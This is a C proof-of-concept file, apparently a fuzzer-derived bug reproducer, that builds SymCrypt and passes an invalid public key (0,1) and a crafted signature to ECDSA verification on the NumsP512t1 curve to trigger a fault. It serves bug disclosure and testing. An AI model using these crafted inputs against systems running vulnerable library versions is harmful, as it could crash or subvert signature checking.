symcrypt_poc.c

/* Compile:


export CC=clang
git clone --depth 1 https://github.com/microsoft/SymCrypt.git
cd SymCrypt/
# Unittests don't build with clang and are not needed anyway
sed -i "s/^add_subdirectory(unittest)$//g" CMakeLists.txt
mkdir b/
cd b/
cmake ../
make -j$(nproc)
export SYMCRYPT_INCLUDE_PATH=$(realpath ../inc/)
export LIBSYMCRYPT_COMMON_A_PATH=$(realpath lib/x86_64/Generic/libsymcrypt_common.a)

$CC -DSYMCRYPT_IGNORE_PLATFORM $CFLAGS -I $SYMCRYPT_INCLUDE_PATH symcrypt_poc.c $LIBSYMCRYPT_COMMON_A_PATH
*/

#include <symcrypt.h>
#include <stdlib.h>
#define CF_CHECK_EQ(expr, res) if ( (expr) != (res) ) { goto end; }
#define CF_CHECK_NE(expr, res) if ( (expr) == (res) ) { goto end; }

void SymCryptFatal(UINT32 fatalCode) {
    (void)fatalCode;

    abort();
}
void SymCryptInjectError( PBYTE pbData, SIZE_T cbData ) {
    (void)pbData;
    (void)cbData;
}

PVOID SymCryptCallbackAlloc( SIZE_T nBytes ) {
    return malloc(nBytes);
}

VOID SymCryptCallbackFree( VOID * pMem ) {
    free(pMem);
}

SYMCRYPT_ERROR SymCryptCallbackRandom(PBYTE   pbBuffer, SIZE_T  cbBuffer ) {
    abort();
}

SYMCRYPT_CPU_FEATURES
SymCryptCpuFeaturesNeverPresent(void) {
    return 0;
}

int main(void)
{
    const unsigned char hash[] = {0xc4, 0x54, 0xa2, 0x37, 0xc9, 0x82, 0x68, 0xb8, 0x4a, 0xfc, 0xfc, 0x34, 0xaf, 0xec, 0x48, 0x5a, 0x56};
    /*
    public key X: 0
    public key Y: 1
    */
    const unsigned char pub[] = {
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01};

    /*
   signature R: 1534270052009251522911029728678638184234250851495314211035431412111658066622653330414261998959050458210503178649420191744489194961375195418788708722506854
   signature S: 2247815846115179333257232901581169621106067190445136220511896097098116146764790397368493068907146953312230301117436865037560916956897315588811927438646435
    */

    const unsigned char sig[] = {0x1D, 0x4B, 0x5B, 0x15, 0x88, 0x20, 0x94, 0x59, 0x95, 0x7C, 0xBE, 0x14, 0x11, 0xE8, 0x6E, 0xB7, 0xB5, 0x8E, 0xE2, 0x82, 0xF3, 0x13, 0x3D, 0x4F, 0xA1, 0xB1, 0x18, 0x4F, 0x7F, 0x0D, 0x05, 0xAE, 0x48, 0x67, 0xD7, 0xAD, 0x36, 0x0C, 0x43, 0x92, 0xC3, 0x8B, 0x37, 0x11, 0x2F, 0x66, 0x28, 0xB4, 0x72, 0x2D, 0xBC, 0x53, 0x8E, 0x55, 0x15, 0x1F, 0xDD, 0xAE, 0xE8, 0x73, 0xA9, 0xE5, 0x7C, 0x66, 0x2A, 0xEB, 0x18, 0x51, 0x0E, 0x01, 0x12, 0x79, 0xEC, 0xE0, 0x48, 0x58, 0x70, 0xEB, 0xBE, 0x36, 0xEC, 0xCE, 0x83, 0x91, 0xD4, 0x4F, 0xBB, 0x15, 0x06, 0x3C, 0xEF, 0xA0, 0xD9, 0xB9, 0xC1, 0x08, 0xAF, 0x0B, 0xD5, 0x10, 0x4F, 0xD5, 0xE7, 0xCA, 0xE3, 0x3B, 0x95, 0x2B, 0xEA, 0xC9, 0x17, 0x0D, 0x49, 0x3E, 0xFE, 0x02, 0x9A, 0x57, 0x50, 0x68, 0x36, 0x2E, 0x67, 0xF5, 0x71, 0x2A, 0x5C, 0xA3};

    SYMCRYPT_ECURVE* curve = SymCryptEcurveAllocate(SymCryptEcurveParamsNumsP512t1, 0);
    SYMCRYPT_ECKEY* key = NULL;
    const SYMCRYPT_ECURVE_PARAMS* curveParams = NULL;
    CF_CHECK_NE(key = SymCryptEckeyAllocate(curve), NULL);

    CF_CHECK_EQ(SymCryptEckeySetValue(
                NULL, 0,
                pub, sizeof(pub),
                SYMCRYPT_NUMBER_FORMAT_MSB_FIRST, SYMCRYPT_ECPOINT_FORMAT_XY,
                0, key), SYMCRYPT_NO_ERROR);

    SymCryptEcDsaVerify(
            key,
            hash,
            sizeof(hash),
            sig,
            sizeof(sig),
            SYMCRYPT_NUMBER_FORMAT_MSB_FIRST,
            0);

end:
    return 0;
}